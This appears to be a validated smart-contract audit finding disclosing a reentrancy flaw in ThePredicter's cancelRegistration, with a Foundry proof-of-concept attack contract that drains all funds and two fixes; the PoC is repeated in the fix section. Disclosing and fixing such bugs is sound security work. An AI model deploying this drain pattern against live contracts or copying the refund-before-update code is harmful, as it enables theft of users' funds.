Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

[H-01] Reentrancy vulnerability in `ThePredicter::cancelRegistration` allows a malicious to drain all the funds from the protocol

Summary

The ThePredicter contract allows user to cancel registration if they have not been approved by the organizer. However, the ThePredicter::cancelRegistration refunds a user before cancelling registration, allowing a malicious user to drain all the funds of the protocol.

Vulnerability Details

Relevant link - https://github.com/Cyfrin/2024-07-the-predicter/blob/839bfa56fe0066e7f5610197a6b670c26a4c0879/src/ThePredicter.sol#L62

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
@> (bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
@> playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

If you notice in the function above, the ThePredicter::cancelRegistration refunds the user before cancelling registration, this allows a malicious user to drain the contract by reentering the function before it can cancel their registration.

Impact

A malicious user can drain all of the funds of the protocol. The impact is proved with the POC below.

Proof of Concept

The impact is demonstrated with the following test, which can be executed with forge test --mt testCancelRegistrationReentrancy.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ReentrancyTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function testCancelRegistrationReentrancy() public {
address attacker = makeAddr("attacker");
for (uint256 i = 0; i < 29; ++i) {
address user = makeAddr(string.concat("user", Strings.toString(i)));
vm.startPrank(user);
vm.deal(user, 0.04 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(user);
vm.stopPrank();
}
vm.deal(attacker, 0.04 ether);
ReentrancyAttack attackContract = new ReentrancyAttack(thePredicter);
assertEq(address(attackContract).balance, 0);
assertEq(address(thePredicter).balance, 0.04 ether * 29);
attackContract.attack{value: 0.04 ether}();
assertEq(address(attackContract).balance, 0.04 ether * 30);
assertEq(address(thePredicter).balance, 0);
}
}
contract ReentrancyAttack {
ThePredicter public thePredicter;
uint256 public receivedEther;
constructor(ThePredicter _thePredicter) {
thePredicter = _thePredicter;
}
function attack() public payable {
require(msg.value == 0.04 ether);
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
fallback() external payable {
if (address(thePredicter).balance >= 0.04 ether) {
receivedEther += msg.value;
thePredicter.cancelRegistration();
}
}
}

This test confirms that there are no funds left in the protocol. All the funds are transferred to the attacker by reentering the ThePredicter::cancelRegistration function before it can cancel their registration.

Tools Used

Manual Review, Foundry

Recommendations

There are two ways to prevent this attack.

1 - Cancelling a user's registration before refunding (Recommended)

Rearrange the function so that it cancels a user's registration and then refunds them.

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
+ playersStatus[msg.sender] = Status.Canceled;
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
- playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

2 - Using the ReentrancyGuard contract from @openzeppelin in ThePredicter.sol

Add the following code in the contract.

import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
+ contract ThePredicter is ReentrancyGuard {
- contract ThePredicter {
...
+ function cancelRegistration() public nonReentrant {
- function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

After using any one of these solutions, it can be confirmed that the function will revert with the following test. It can be executed with forge test --mt testCancelRegistrationReentrancy

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
contract ReentrancyTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function testCancelRegistrationReentrancy() public {
address attacker = makeAddr("attacker");
for (uint256 i = 0; i < 29; ++i) {
address user = makeAddr(string.concat("user", Strings.toString(i)));
vm.startPrank(user);
vm.deal(user, 0.04 ether);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
vm.startPrank(organizer);
thePredicter.approvePlayer(user);
vm.stopPrank();
}
vm.deal(attacker, 0.04 ether);
ReentrancyAttack attackContract = new ReentrancyAttack(thePredicter);
assertEq(address(attackContract).balance, 0);
assertEq(address(thePredicter).balance, 0.04 ether * 29);
attackContract.attack{value: 0.04 ether}();
assertEq(address(attackContract).balance, 0.04 ether * 30);
assertEq(address(thePredicter).balance, 0);
}
}
contract ReentrancyAttack {
ThePredicter public thePredicter;
uint256 public receivedEther;
constructor(ThePredicter _thePredicter) {
thePredicter = _thePredicter;
}
function attack() public payable {
require(msg.value == 0.04 ether);
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
fallback() external payable {
if (address(thePredicter).balance >= 0.04 ether) {
receivedEther += msg.value;
thePredicter.cancelRegistration();
}
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.